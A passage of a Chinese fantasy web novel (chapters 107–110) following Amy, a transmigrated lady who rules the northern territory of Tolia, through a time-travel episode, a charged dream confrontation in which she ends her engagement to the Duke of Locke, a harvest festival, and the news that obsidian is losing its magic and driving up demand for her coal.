艾米觉得很新奇。 她穿越到了十八年前,即将亲口对自己本人送上祝福。 因此,这份“祝福”就不再是对未来的美好希冀,而更像对过去十八年的结语。 “嗯我祝福她勇敢、善良、坚韧。” 这三个词语,她想了一会才依次说出,咬字清楚,顿挫有序。 “我祝福她遇到一个负责任、又有耐心的家长,能在爱和温暖中长大。” 艾米说这话时看着克莱恩先生的眼睛,而此刻,他也正目不转睛地朝着声音的方向看着,就好像击破了那层隐形的外壳,看到了十八年后的她。 “最后,我祝她自由。” 克莱恩先生轻笑。 “自由?”他轻声反问。 “是。”艾米强调,“我希望她不会被困在华贵的宫殿,而拥有自由的未来。” 克莱恩先生沉默了片刻。 “很好的祝福,但是并不是所有的祝福都会成真。” “她会的。”艾米坚定地说。 克莱恩先生没再反驳,他低头用食指小心翼翼地逗弄着孩子的脸颊:“那么,让我们祝这孩子能拥有她想要的自由吧。” “您似乎对我的身份一点也不好奇。”艾米忍着想要和父亲相认的冲动,又问了刚才他闭口不谈的问题。 “你不是也一样吗?”克莱恩笑着说,“你甚至知道这孩子即将被送去‘华贵的宫殿’。” 艾米顿住,虽然对方看不到,但还是下意识抿住了唇。 “我是占星术士,小姐。” “当然,虽然有时候,很多人称呼我为弄虚作假的骗子。” 艾米笑出了声。 “那么,你能看到这孩子的未来吗?” “当然不能。”克莱恩抬头,又在一片透明的空气中寻找声音的来源,“但是你能。” “这就是我的占卜结果。很多时候,不一定非要刨根问底,我只需要知道,结果是好还是坏就可以了。” 艾米从这张年轻的脸上窥见自己曾无数次看到的神情,悲悯的仁慈,和无尽的忧郁——当“结果”已经提前昭示,踏上旅途的时候,一切又是否还有意义? 克莱恩先生轻轻地、温柔地垂眸,看着怀里的孩子。 “真是奇怪。我仅仅是这么抱了她一会,就好像生出了许多想要保护她的力量来。” “三圣经上说,弱小者强大,卑劣者高尚,冷漠者仁慈。” 他抬起头,对着空气、也对着看不见的朋友,含笑道:“也许这就是弱小者的意义。” 艾米心念一动。 她何尝不是这么看待自己的子民,因为见过被严寒暴雪轻易收割的如麦穗般的生命,而不由自主地生出了更多的“责任感”和“勇气”,恍惚间,有什么灵感一闪而过。 远处,玛丽姑姑完成了那项需要她亲自处理的紧急事项,朝客人的方向走来,埃文神父尚未离开,他站在庭院里,像是在等自己。 那灵感也终于犹如实质般降落。 光明神需要人类,因为祂需要弱小的人类依附于祂,源源不断地献上虔诚的信仰;而米迦尔也同样需要依附于他的存在,他只有从保护弱小中,才能知道要收起自己的戾气。 米迦尔就像是一把开了刃的锐利的刀,他需要一个刀柄,来将刀尖对准正确的方向。 艾米后知后觉地轻笑,她明明见过他的刀柄 。 是他的弟弟,沙利希恩- 艾米又在教堂待了一个晚上,终于等来了出现在弃婴台的另一个男孩。 这么说来,沙利希恩未必没有精灵的血统,毕竟他和米迦尔并无实质的血缘关系。 埃文神父这次没有将孩子送到育婴院,他听从了艾米的建议,将他留给了米迦尔照顾。 米迦尔自然是拒绝的。 他对神父的行为不解,但这份抗拒在接过襁褓时顿住了。 如此弱小的生命此刻正紧紧依附于他,他只要轻轻松开手,这孩子都可能会被摔死。 “感觉很不一样吧?”艾米蹲下来,微微抬头从下面看着表情僵硬的他:“什么感受?” 米迦尔嘴唇嚅动:“很重。” 这对于一个孩子来说确实不算轻,但艾米认为他想说的一定不是这个,他因为不敢松开手,才会觉得重。 “保护一个人比划伤一个人要难多了。” 艾米伸手摸了摸他的脑袋,这孩子因为双手都被牵制着,所以就算不耐烦也只能偏头去躲,无法反抗,样子十分可爱。 就在这时,小婴儿在米迦尔晃动的怀抱中醒来,双手紧握着,开始嘹亮地啼哭。 “我该怎么办?”他有点手足无措,“好吵,怎么让他不哭了?” 艾米也没有带孩子的经验,但她有过丰富的做婴儿的经验。 “这种情况下,不是饿了就是尿了,襁褓湿了吗?”她问。 “没有。” “那就是饿了。等等——”艾米止住他要直接往婴儿嘴里塞东西的举动:“你要掰点面包碎屑,然后煮成面糊给他。” “要怎么做?”米迦尔皱眉,“教教我。” 艾米忽然意识到了什么,这是两人见的第三面,但这也是米迦尔第一次向她求助。 “好,我教你。” 她笑了笑,带他去了神父的小厨房,不怎么熟练地点燃了灶火,从壁橱里拿出小锅,耐心地完成了米迦尔的第一个,也是唯一一个心愿- 重新回到现实中的时候,夜色正浓。 往常从回溯中结束时,艾米并不会觉得这么疲惫,因为虽然时间流速不一样,但在回溯中她也是正常的作息。 但这次不太一样。在教堂的长椅躺了两个晚上,艾米感觉自己的骨头都快要散架了,迫不及待想瘫在松软舒适的鹅绒垫床上。 困顿得不甚明显的大脑在沾了床垫后铺天盖地地汹涌袭来,枕头下熟悉的香氛、滴答作响的指针交织成令人昏昏欲睡的网,不一会,艾米就开始恍惚起来,重重地合上了眼皮。 随风轻飘的帷幔逐渐变得古怪,挂毯的色彩也变了模样,像有一只手从泥潭中伸出,将她用力拖拽出来,不知不觉中,柔软的床垫也成了禁锢她的陷阱——就像是被梦魇缠住的感觉。 这种情况之前也出现过几次,多发生在过于疲惫的夜晚,一般挣扎着从梦里醒来就好了。她用力地试图弹动小指,再带动小臂,终于成功地将自己从刚才被缠住的窒息感中唤醒。 艾米迷迷糊糊地甩了甩脑袋,想下床喝杯水。 却在拉开床帏后踩在地毯上时呆滞住了。 陌生的卧室,陌生的陈设,洛克穿着另外一件她没见过的睡袍,坐在沙发上举着半满的酒杯向她示意。 “我等了你很久。” “你也有失眠的烦恼吗?” 他语气轻松,带着闲适的意味,就像朋友间的闲聊。 艾米心下一紧。 “这还要多亏了你给的灵感。” 洛克浅笑着,将酒杯放在面前的矮桌上,起身向坐在床边的她走过来。 “欢迎来到我的梦境,亲爱的未婚妻。” 第107章 第107章一个不会下雨的新世界…… 艾米后退了一步,腿窝打在床沿上。 “我们可以谈谈。”她紧紧盯着洛克的眼睛,“你想要什么?” “这话应该我问你才对。” 洛克不紧不慢,步步紧逼,迫使她沿着床边坐下:“你想要什么?” “你的每一封信我都读过,你的每一个请求我都答应了,你到底还想要什么?” 艾米梗着脖子,艰难地吞咽了口水,但仍然紧盯着对方,唯恐在对峙中失去气势。 “我想退婚。公爵大人,我没有你想要的东西,你不应该再将注意力放在我身上,这并不划算。” 她尽量用平稳的语气地表达自己的看法。 洛克沉默。 他眯起眼睛,冷着脸居高临下地看着她。 “我不需要你替我做决定。” 男人的视线像摇曳的烛火,带着飘忽不定的怒意,艾米的大脑飞速地运转,现在是她有点摸不清公爵大人的意图了。 他想要报复吗?还是仅仅因为性。欲在作祟? “埃克森,我可以这么叫你吗?” 最终,艾米决定通过揭开他的伤疤、反复搓捻他的伤口来激怒他,谈判中,情绪不稳定的那方将会更先暴露底牌。 洛克眼中的烛火仍然烧灼着,表情却十分平静,他勾起唇角,带着似是而非的笑。 “有没有人教过你,同样的招数不要在牌桌上使第二次。” “你不会以为凭借这个,就能激怒我吧?” “亲爱的,低头看看,你现在在我的梦里。就连你身上的睡裙,都是我喜欢的款式。” 艾米每听到一句,心就往下沉了一分。男人仍然站在原地,没有再往前走,但他只要想,就可以立刻将她绑起来,在这张床上操。她。 “你现在很紧张。”洛克又说,“是觉得这游戏不好玩了吗?” 他俯下身来,垂下的睡袍衣襟扫在未婚妻的锁骨处,炽热的气息将她整个笼罩。 “可是昨晚,你明明玩得很开心。”男人轻声说道,掌心扣住她抵着床边的手腕。 艾米对上那双眼睛,摇曳的烛火,强忍的怒意,还有想要燎原的欲望。 她忽然笑了,紧绷着的身体也放松了下来。 他早就暴露底牌了。 无论是报复心也好,性。欲也好。 不管动机是什么,他想要她,这是唯一可以确认的事实。 “是,我玩得很开心。”艾米的双手都被按住,就用膝盖顶了上去,一如昨晚在自己梦里。 “你呢,你也是吧?明明气到不行,却像小狗一样又凑过来了呢。” 大概是因为梦中撕去了他大部分的理智,所以公爵大人的反应十分明显,几乎是立刻就发出了不受控的闷哼。 “你这次又是付出了什么代价才把我拉进你的梦里的?眼睛、手臂、还是什么别的?” “一定很疼吧。”她的膝盖轻轻打转,温柔,耐心,就像是在真心实意地关心他的伤势,“就算这样,也要立刻见到我是因为昨晚没有爽到吗?” “还是因为太爽了所以忘不了呢?” 洛克的怒意终于无法掩盖地喷涌,他不复刚才的淡定,将艾米按倒在床上,单手将她的两只手腕并在一起压过头顶。 “小姐。”他喘着粗气,沉着脸威胁道,“你应当搞清楚,现在这里谁说了算。” 他在用艾米的话原封不动地回敬过去。 “这可不好说。”艾米躺在柔软的床上,语气轻松,“那就要看你想要什么了。” “你究竟想求着我回心转意,和你结婚,还是想要求着我,再让你爽一次?总归无论是哪件事,你都得向我献上你的诚意才行。” “一点小提示,如果你想用强迫的手段的话,我敢保证无论哪个你都无法得到。” 洛克的脸上闪过无可奈何的痛苦的挣扎,他定定地看着艾米软栗色的瞳孔,发狠地突然啃了她的唇瓣一口。 ——然后迅速地、在意识继续沉溺 于此之前,强行松开锁住她的手。 贵族卧室的四柱床本来就高,而洛克卧房的床为了配合公爵大人的身高,更是比寻常的又高了一截。此刻艾米支起身子,坐在床沿边,双腿悬空,轻轻晃着。 “这里并不是谈事情的好地方,可以换到书房吗?”她指了指身上长度只到大腿的睡衣,“顺便也给我换身衣服吧?” 洛克拧了拧眉头。 下一秒,周围变成了茶室,但她身上的衣服并没有换下来,还是吊带睡裙,露出大片胸口和几乎全部的肩膀。 “穿成这样,我有点冷。”艾米继续提醒他。 洛克一言不发地把她打横抱在自己怀里,手掌掐紧她的腰,让她坐在自己的大腿上。 “别得寸进尺。”他冷冷地说,环过她的肩胛骨阻止她乱动。 艾米决定见好就收。 “我想听实话。”洛克定定地看着她:“为什么要退婚。” “别说因为其他男人,你不是这样的姑娘。” 艾米舔了舔唇,决定和他开诚布公地好好谈谈。 “你最开始想要和我结婚,为的是我的继承权吧?” 洛克不怎么情愿地嗯了一声。 “但是你错估了我的顺位。” 洛克没有说话,用沉默示意她继续说下去。 “你太着急了,着急让你犯了错。” 洛克终于忍不住打断了她的话:“这不算错误。” “顺位又如何,只要你能突破血脉限制进入先祖画廊,那么其余的我都能解决。顺位也好,继承权也好,是弱者会在意的事情。能延续百年的贵族家族最懂得什么叫趋利避害,只要有明面上的理由,他们的嘴巴比蚌壳闭得还紧。” 艾米轻轻摇了摇头。 “你太着急了”她又重复了一遍,“是因为曜石矿的消失吗?” 短暂的惊讶之后,洛克很快平复了下来。 他的未婚妻连自己曾经的身份都能扒出来,那么南境的情况更瞒不住她。 “曜石是魔法和奇迹的燃料,而现在,燃料在枯竭,魔法在消失。” “所以你看中了王位。” 洛克小心翼翼地撩起她脸颊侧边的头发,冰凉的戒指轻轻划过未婚妻柔软的肌肤。他没有否认,温柔眷恋地说着心底话:“你会是王后最好的人选。” 艾米抓住他的手指,制止他的动作。 “而这就是理由。” “我对你的大业不感兴趣。” 洛克声音放缓:“那是你没有体验过。当黑曜石彻底消失之后,所有的神明都无法插手人类的事务,那个时候,只有国王能享受最高的奢华和无上的权力。” “拒绝的话别说得那么早。”他反手握住艾米的腕,带着不容置喙的语气。 “更何况就算你不感兴趣,也没必要将白捡的冠冕丢出门外,作为收藏品它也足够赏心悦目。说点别的能令我信服的理由吧,别再骗我了。” 艾米深吸一口气。 “我不想卷入战争之中,最起码十年内不想,托利亚又穷又小,无论是什么战争,都没有话语权。我需要稳定的局势来度过发展期,而不是夹在北境和王城之间,成为战争博弈的棋子。” 洛克笑了:“等到战争结束,所有的土地都会是你的领地。” “是吗?你的,还是我的?”艾米嘲讽地反问。 洛克轻轻啄了啄她紧握的手指,满不在乎地说:“等到所有在你之前的顺位继承人都死掉,你就可以轻松成为女王了只要,你确保你只会生下我们俩的孩子。” “人民尽数死去的领地,还能算是领地吗?” 洛克先是一愣,继而掐着她的脸颊忍不住轻叹:“可爱。” “又天真,又可爱。” “让我告诉你,亲爱的,这就是你这种北境的花朵最可爱的地方。” “在这片大陆,力量意味着一切,而权力就是其中最至高无上的力量。” “你在屋檐下生活得太久了,对外面的风雨一无所知,一丁点雨滴都能将你娇嫩的花瓣折断,你不过是透着窗户看到了外面的景色,就以为那些人和你想象的一样赏心悦目我承认你时常有些有趣的小巧思,不过,如果你以为仅仅凭借那些小聪明就能和更强大的力量抗衡,那你未免也太天真了。” “没关系的。”他喃喃道:“我知道了你的顾虑这并不是什么大问题,你不想要你的领地淋到雨,那么我就把遮蔽的屋檐修得更大些就好了,虽然费事了点,但是为了你,都是值得的。” 洛克的神情终于放松了下来,他呵护着自己的未婚妻,就像呵护着一株娇嫩但足够美丽的花,如果花盆太小,令她无法愉悦地生长,那么他就换个更大的。 他环着艾米的手掌勾开睡裙的吊带,沿着她的脊柱打转,眷恋缠绵,他为解开了两个人之间的隔阂而兴奋,下面石更得生疼,他想让她碰一碰它,用膝盖,用手,或者用身体的任何地方。 “你听过豌豆公主的故事吗?”艾米忽然冷不丁地说。 洛克手上的动作不停,饶有耐心地回应着:“嗯?” “据说很久以前,有位王子在暴雨夜接待了许多自称公主的女子。” “他分不清她们谁才是真正的公主,但他想出了一个办法。他命令仆人在二十层鹅绒床垫下,放上一颗豌豆。” “其他的自称公主的女子,都睡得很好,感受不到那颗豌豆,只有一个姑娘,被豌豆硌得辗转反侧,无法入眠。”1 洛克提起了兴趣:“所以她才是真正的公主吗?” 艾米点头:“是的。” “倒是个好办法。”洛克笑着说:“我和故事里的王子想法倒是不谋而合了。” “我时常觉得你的领主府太寒酸,说真的,尽管已经帮你换了地毯,但我还是觉得不够,你的卧室过于陈旧了,那些不够柔软和精美的东西配不上你,亲爱的。” “如果你体验过最好的东西,就会明白我现在所说的意思。” 艾米打断他的话:“是,我赞同。当一个人体验过最柔软的床铺,那么即使隔了厚厚的床垫,那颗小小的豌豆也觉觉得难以忍受。” “但你完全误判我了,公爵大人,我可不是没见过世面的乡下姑娘。” 她露出了明艳的、自信的笑容,像盛开的玫瑰蛊惑人心魄。 “恰恰相反,我正是因为见过世面,才对这个世界的一切都觉得难以忍受。” “混乱、无序、近乎野蛮的糟糕制度;落后、荒芜、和原始人无差的生活环境…所有,我的意思是,这个世界所有的一切都像那颗豌豆一样让我难以忍受。” “我来自于另一个世界。一个平民也能睡二十层床垫的世界、一个几乎所有人都有机会享受幸福和快乐的世界。在那里,就算是平民的生活,也比这里的国王好上一万倍,如果有得选,我愿意放弃这里的一切回去。” 艾米 的眼中带着嗤笑,那是一种居高临下的轻蔑。 “公爵大人,你很难想象吧,你说在这里屋檐外的一丁点雨滴就能将我的花瓣折断;而在我原本的世界,推开门窗,外面是没有雨的。” “天真的是你,是没见过这样的世界、以至于连想象都想象不出来的你。” “如果说你的大业是那把王座。” 艾米顿了顿,轻轻地、却极为郑重地说:“那我的大业,就是不会下雨的新世界。” 梦境开始出现崩塌的迹象。 她贴近洛克的耳畔,温柔地、犹如情人般耳语地说出最后一句话。 “你不能把我根本瞧不上的东西当成礼物送给我——” “公爵大人,你说是吧?” 第108章 第108章明智的决定 小镇门口的拱门长满了粉粉紫紫的花,托利亚有史以来最盛大的一次丰收节开始了。 丰收节期间,煤矿也全部停产,所有人都能在镇子上快乐地过节。教堂门口的广场有免费的南瓜派发放,每个人都可以领一个,负责摊位的小姑娘贝蒂是领主府新来的女仆,艾米给了她一个道具,能确认面前的人是不是第一次排队;各式各样的摊贩堵满了街道的两旁,这条今年刚翻修过过的石板路从未这么局促过,漂亮的姑娘和小伙们精心打扮,羞红着脸在人群中挤在一起;酒鬼们端着一升装的大啤酒杯,在摊位后面站着喝酒聊天,用兜里的铜板买几个小面包干下酒,讨论着据说今晚就能看到的“烟花秀”。 很多外地人是第一次参加托利亚的丰收节,浓郁的节日气氛超乎了他们的想象。矿工罗西十分震惊地对自己的朋友,托利亚土生土长的小伙子威尔说:“天呐,兄弟,真羡慕你,居然每年都能参加这么盛大的庆典!” 尽管威尔本人也是第一次见到这么多新奇玩意,但他还是虚荣心作祟地做出了满不在乎的回应:“这才哪到哪啊,只是个开胃前菜!” 下午,广场被清理出一块空地,丰收节最重要的评比大赛要开始了。往年在南瓜评比中,苏珊总是拔得头筹,今年也不例外,她曾试图将姓氏改为南瓜,来把这一殊荣传承下去,后来被自己女儿阻止了。 之前托利亚的土地上只有南瓜长得还算漂亮,剩下的多是又丑又不好吃的红薯,所以可供参选的传统类目并不多。今年虽然苏珊家毫无争议地在南瓜评选中获得第一,但仍然有很多人拿出了自己家最得意的作物,也想获得参赛资格。 于是艾米只好临时加设了五个奖项,来满足大家的热情。 吃素的半精灵是今年的评审嘉宾之一,本来布利斯也在嘉宾名单上,但他拒绝了这一“殊荣”。整个下午,罗莎都十分兴奋,她举着自己自制的圆形牌子,在每个同样圆滚滚的果子面前,留下自己的分数。 “七分,要继续努力啊。” “九分,这里还是有点瑕疵呢。” “十分,这是我见过最完美的葡萄!” 于是紫色浆果的主人在接下来的时间都骄傲地将其中一枚葡萄放在手心,晚上喝酒的时候都不忘给身边人炫耀。 “你见过最完美的葡萄吗?快看!你现在见到了!” 他必须扯着嗓子大声喊,因为酒吧很嘈杂,也因为外面正在放烟花,所有人都想往门口挤,坐在一个好的观景位上。 矿工罗西已经有点神志不清了,大着舌头含糊地说:“兄弟,我真的相信你的话,原来白天的那些真的只是个开胃菜!” 威尔这次装不下去了,他拍了拍好友的肩膀:“我必须得告诉你实话,白天我是骗你的。” “什么?” 新的一束焰火升上夜空,砰地炸开,两个人并肩站着也听不清对方的声音。 “这种神迹一样的美丽!”威尔大声说:“我也是第一次!这辈子第一次见!” 领主府内,艾米正在接待从王城而来的好友,阿丽萨和她的妈妈尼雅夫人。 他们在塔楼顶部的房间里欣赏今夜的焰火,伴随着一簇簇流光溢彩的彩色魔法花在空中依次炸开,阿丽萨几乎被美到失语,喃喃片刻,连“漂亮”这个词语都说不出来。 “抱歉,我觉得,我找不出任何一个能表达我心情的词语。要只用漂亮来形容它,也太不够了。” 她的眼睛因为兴奋而闪闪发光,“太厉害了,艾米,这是我参加过最有趣的庆典!” “说真的。”阿丽萨表情扭捏,有些不好意思:“一开始我是为了能——像你信中提到的——能坐在第一排听米迦尔神官的布告才过来的。” “那我也说句真话。”艾米狡黠地眨了眨眼,“我是故意在信里提到神官大人的,看来很有用,是吧?” 阿丽萨笑得直不起腰来:“真可惜我没法嫁给你!否则我会愿意为了生活在这里而修改我的姓氏。” “不需要嫁给我,你也可以生活在这里。”艾米说完快速看了眼优雅喝茶的尼雅夫人,“我的意思是,我是个领主,你可以为我工作。” “说到这个。”尼雅夫人放下了茶托,“你和洛克公爵之间,是怎么回事呢?” 洛克公爵在迪特克妹妹订婚宴上宣告了自己的婚事,这个消息很快就传到了王城,也传到了尼雅和阿丽萨的耳中。当其他人还在好奇这位艾米小姐是谁家的姑娘时,她俩却震惊万分。 原来艾米在牌桌上像玩笑一样漫不经心的话全是真的,她的未婚夫,是那位王国最有钱的单身汉,洛克公爵大人。 阿丽萨更是立刻给艾米写了信询问和求证。 但没多久,却收到了“我已经和公爵大人解除婚约”的消息,以及另外一封邀请她们来托利亚做客的信函。 艾米大大方方地微笑:“就如信上所说的,我觉得我和公爵大人之间有着一道无法跨越的鸿沟,因此向他提出了退婚。” 尼雅皱眉:“公爵大人的态度如何呢?” “他?”艾米语气略带迟疑:“我想他应该也同意了吧。” 自从梦里的争吵之后,两个人就没再有任何联系,公爵大人没再将她拉入梦里,也没寄出过任何一封书信。 他们一个在北境,一个在南方,相隔千里,除了婚约外,本就没机会有什么交集。 阿丽萨心直口快:“我觉得这未必是个坏事。如果我是你,也不会想离开这么舒服的领地,去又潮湿又闷热的布佛里托生活呢!而且洛克公爵虽然有钱,也英俊,但未免太年轻了些。还记得我曾告诫过你吗,有钱且快死的男人才是婚姻的最佳人选。他这么年轻,身体又这么健康,很难死——” 她的声音抬高了八个度,语速很快,听起来有点欲盖弥彰的急切,坐在一旁的尼雅夫人用面巾擦了擦手,优雅且用力地对着女儿的脑袋锤了了下去。 阿丽萨立刻将剩下的话咽进肚子里了。 “还是让我来说吧。” 尼雅夫人轻轻捏了捏刚刚用力后泛红的手腕:“洛克公爵最近在王城的社交场很活跃。” “母亲!”阿丽萨很着急:“不是——” “我觉得艾米小姐有必要 知道这些事。“她没理会女儿的阻拦,认真关切地对一头雾水的艾米解释道:“坊间传闻,奥多芙公主很喜欢他,而洛克公爵看起来也没有拒绝的意思。” “你说你已经主动解除了婚约,我认为这是一个十分明智的决定。” 为了更方便地欣赏烟花,阳台是敞开的。风从露台灌了进来,艾米一个愣神连打了两个喷嚏,鼻涕都险些流下。 看到小姑娘红红的鼻头,尼雅夫人微不可见地轻叹一口气,四两拨千斤地带走了刚才的话题。 “北境的秋天都快赶上王城的冬天了,瞧,为了这次出行,我连最厚的毛氅都带上了。” 阿丽萨好奇地说:“我之前只在夏天去过永夜城度假,这还是第一次深秋来北境,没想到这里已经冷到要烧整夜的柴火才能入睡了。现在就已经这么冷,入冬后岂不是更难熬?” 艾米点点头:“是的,所以北境最可怕的就是冬天的暴雪和寒潮。” 她起身关上了门窗,手腕的链条砸在把手上,发出清脆的撞击声,也将寒意拦在了门外。 这手链是洛克送给她的首饰匣中的一件,那里面的东西太多了,所以艾米根本记不住每一个,只有需要用时才随便翻出来一条戴上。 她抽了抽鼻子,视线从把手上收回,漫不经心地想。 奇怪。 即使对于北境来说,今年秋天,也冷得实在太早了些。 第109章 第109章有史以来最冷的一个冬…… 天气越来越冷,事情也越来越多。 每年入冬前都是艾米最忙的时候,储备粮食和燃料,加固房屋,来应对入冬后的危险。 今年的粮食大丰收,煤炭的产出也填补了传统木炭燃料的缺口,东西太多而家里堆不下,因此家家户户都赶在寒潮降温前抓紧时间修建地窖。趁这个机会,她开始推广水暖炉,搭配室内烟道系统,提高取暖效率的同时降低燃烧风险,减少因为冬季取暖中毒的风险。 因为其他领地的子民仍然以木炭和木材作为主要燃料,而贵族们又靠黑曜石取暖,即使入冬前陆续有些订单,但对于目前的产量来说还是远远不够。因此艾米就将多余的燃料投入铁制品和钢材制作之中,但问题是,托利亚并没有发现铁矿的痕迹,想要大量用于炼钢的原料,只能靠商队的采购。 常在魔兽山脉捕猎炼金材料的布利斯在知道艾米正在寻找这种红褐色土壤下的矿石时,为她在地图上标记了几处地点。 “如果我没记错的话,你可以派人去这些地方检查看看。” 艾米立刻如获珍宝地安排下去了,顺便强烈谴责了一番系统为什么不给她再加一个新的能带来铁矿石加成的新男主。 系统不满:“你下一步不会就要石油了吧?” “那倒没有。”艾米说,“我还没那个开采能力。” “再说了,我要就能有吗?你也没这么大本事吧。” 系统感觉受到了轻视和侮辱。 但它没有反驳,因为宿主说的没错。 尽管作为领主的生活繁忙且充实,但艾米还是会时不时想到洛克,原因无他,只是因为公爵大人送过的东西实在太多了。 无论是满满登登的首饰匣,还是卧室和书房的羊绒地毯,亦或是精致的金丝陶瓷茶具、上等胡桃木单人扶手椅,甚至是不知他哪里淘来的关于矿洞开井排水的《一把铲子,一个洞穴》工具书。 每当她的视线落在这些礼物上时,想知道这些礼物的原主人现在正在干什么的念头就像风吹起涟漪一样自然地出现。 “小姐?小姐?” 女仆长黛碧正在轻轻唤她。 艾米的羽毛笔悬在纸张上,墨水没留意晕开了一团黑色。她连忙将笔放下,小心推开避免多余的墨汁沾到手上。 “怎么了?”从发呆中回过神来,艾米拦住黛碧要上前收拾桌面的动作,示意她先讲正事。 女仆长没再坚持。 “是这样的,我在厨房发现了个小姑娘我觉得应该带来让您见一见。”黛碧想了想又补充道:“不,不,我建议您应该亲自去看一看她。” 艾米曾拜托过古德先生和黛碧女士,以及在学校任职的神官大人,替她留意有没有新来的聪明的孩子,最近这段时间,她提拔了一个有力气、有头脑的叫诺尔的姑娘,跟着罗莎帮自己组建训练女子护卫队;还从新来的男仆中挖到一个有过侍奉贵族经验的年轻人,送去泥巴湾帮巴特处理接待工作。 因此当黛碧说明来意后,艾米很快就答应了。 “没问题,我刚好没有其他要紧的事情。” 她跟着黛碧来到厨房,这个领主府最热闹的地方头一次这么安静,莫里大婶标志性的大嗓门也不见了,艾米看到她正细声细语地和一个瘦小的女孩说话。 那女孩艾米见过,正是前几天丰收节负责在集市入口发放免费南瓜派的姑娘。 “贝蒂?” 贝蒂没想到领主大人还记得她的名字,一时间有些激动,手紧紧地攥着围裙衣角,涨红了脸。 “艾米小姐。”她小声喏喏地应道,纤细的手臂是经久没吃过饱饭的瘦弱。 黛碧女士走上前两步:“把那个东西拿出来,就是你用它来捣杏仁糖和油酥面团的那东西。展示给艾米小姐看看吧,好孩子。” 贝蒂紧张地侧过身,露出桌面上一个像是锅盖的玩意。 “就,就是这个。”她非常紧张,抓着把手的时候差点没拿住:“我会在烧水的时候,把这个放在上面。” 她示意到,指着锅盖上的小木槌:“热水烧开时会咕噜噜地冒气团,顶着它上下动,然后,然后我就用它来捣油酥面团,我能空出手做别的事情。” 贝蒂小心地观察领主的脸色,忙不迭地补充,因为担心被责难,说话磕磕巴巴的:“因为,捣面团需要做很久,小姐,我这样可以多做点别的事情,绝不是因为偷懒,小姐。” “那些酥皮烤制后完全,没问题的,真的,一样的柔韧。”她同样紧张地看了眼莫里大婶,用祈求的目光希冀她能为自己说句话。 还没等莫里大婶开口,艾米三步并做两步,几乎是扑到了贝蒂的身上。 怀里的姑娘瘦得吓人,硌得要命,像是一把骨头只挂了一层薄薄的皮肉。 “贝蒂!” “天呐!了不起!你真的太了不起了!” 艾米兴奋地甚至想不出额外的能夸赞这姑娘的话,她退了半个身位,握紧贝蒂的肩膀,目不转睛地紧紧盯着她的脸:“你想不到你发明了什么!果然,人类进步的动力是懒惰,你会成为很了不起的人,你会出现在历史书上,应该要好好记下这一刻,黛碧,找个画师过来,给这姑娘画个半身像吧,对,不用换衣服,就穿这身” 她絮絮叨叨的一大段话把贝蒂搞得晕头转向,但这个被晃来晃去的可怜姑娘还是听懂了最关键的一句。 领主小姐要奖励她一大笔金币,还要把她从厨房调出来,去另外一个岗位上干活。 贝蒂立刻吓得摆手:“不不不,小姐,我除了会做南瓜派、会打扫卫生之外,别的什么也不懂,你说的那些我一个也不会做我甚至连识字课都没上完,连采购单子上的蔬菜名字外,我什么字都不认识。” 艾米这才冷静下来,她宽慰安抚地拍了拍贝蒂的肩膀:“你提醒我了,是的,你现在需要补习算数和写字。别这么紧张,学塔里的学士并不比你聪明多少,他们只是有识字和学习的机会而已,给你时间你肯定会做得更好。” 贝蒂看着领主小姐期待的目光,第一次感受到每个骨头缝都被烘烤着的火热。 真的吗? 她在心底一遍遍地问自己,那团烘烤着的火正在她的胸腔越烧越旺。她感觉自己像被热浪顶起的气球,四肢漂浮着,被吹到了天上。她瘦弱的四肢被风卷起,宛如没有重量一样,向着又厚又白的云团飞去- 布利斯最先发现了不对劲。 他的法杖镶嵌了一颗硕大的、内部有流动质感的名贵黑曜石,无论是用来放大体内的法术、还是用来牵引完成需要精准度的特殊咒语,这柄法杖都做得很好。 但最近一段时间,或者说短短五天之类,法杖出现了三次偏差。 “就像是接触不良?”艾米问。 布利斯皱眉:“接触不良是什么意思?” 艾米才意识到这是个跟电路有关的词语,她解释道:“就是你的法杖现在这样。” “你在使用卷轴时有出现这样的问题吗?”布利斯问。 “没 有。“艾米回忆起自己最近用的是一个寻回咒,在书架上找她之前忘记放在哪里的一本书。 “我想应该是我们俩的法术使用原理不同,我不需要考虑控制性,只需要往卷轴里灌法术就行,多一点还是少一点,对我而言几乎是体会不到区别的。” 布利斯沉吟:“那么就不是我体内的法术出现了问题,而是法杖有问题。” 艾米看了一会没看出什么所以然来,很快就将这件插曲抛之脑后。没想到一周后,煤炭订单开始暴涨,异常终于引起了她的注意。 “永夜城的订单?” “虽说最近是降温很快,但是不至于连永夜城都没有燃料储备吧?” 艾米很困惑,和雷尔夫谈及此事,他在那里长大,还曾被当成继承人候选在黑岩堡生活过。 “确实有些奇怪黑岩堡的先祖地窖连接着占据整个城堡的地宫,那里存储的资源够开放地窖后整个城市的人使用三个冬天。”雷尔夫说:“而且,作为北境最大的港口,每年夏天城主都会安排捕鱼队,猎捕魔鲸,储存脂肪用做冬天的燃料,按理说是不会需求这么多煤炭。” 艾米想了想:“也许对于大领主来说,储备资源总不嫌少,只要有地方储存。” “不过,为什么这么多小领主也寄来这么多煤炭订单?” 这不是个例,所以显得尤为古怪。因此艾米打算在接下订单之前,让雷尔夫去打探一下原因。 布佛里托第一雇佣兵的效率很高,仅仅两天,他就寄来了魔法邮件,其中夹了一枚黑曜石。 ——因为艾米穷惯了,并没有其他领主用昂贵黑曜石来做生活燃料的习惯,才迟迟没有发现异常带来的严重影响。 黑曜石正在不明缘由地、陆续失去魔法效用。 在最严寒的天气里也温暖如春的黑岩堡,正在迎来有史以来最冷的一个冬天。 第110章 第110章无论深浅,无论泥泞,…… 艾米的第一反应不是为自己拥有煤炭而庆幸,她立刻腾地站了起来,攥着信纸在书房内踱步。 “拥有宝石之前,你需要先确保自己拥有守住宝石的力量。” 这是洛克教过她的所有内容中最重要的一课。 黑曜石矿正在不明缘由地枯竭,而这种创造奇迹的燃料也正在不明缘由地失去效用——这不是偶然事件,这是必然事件。 它意味着煤炭将变得越来越重要。 而要不了多久,迪特克公爵就会意识到这一点。 不不,也许他现在就意识到了。艾米再度仔细阅读订单的要求,这是由迪特克公爵亲签的文件,上面提到,希望艾米小姐能按时完成规定数额煤炭的装载,经由泥巴湾的港口通过海运送至永夜城。 其中,北境大公“善解人意”地表示,因为这批燃料要得急,考虑到托利亚常年人手不够,他会亲派船队到泥巴湾接运。 看到这句话,艾米的心都提了起来。 这支船队会载着一群年轻力壮的青壮年出现在她的领地上,这些人还可能全都训练有素,甚至还带着武器。 往好了想,北境大公也许只想敲诈她一笔,不付钱或者抬高托利亚今年的税收;可艾米不得不考虑最坏的情况,也就是迪特克想直接控制煤矿。 艾米强迫自己冷静下来。 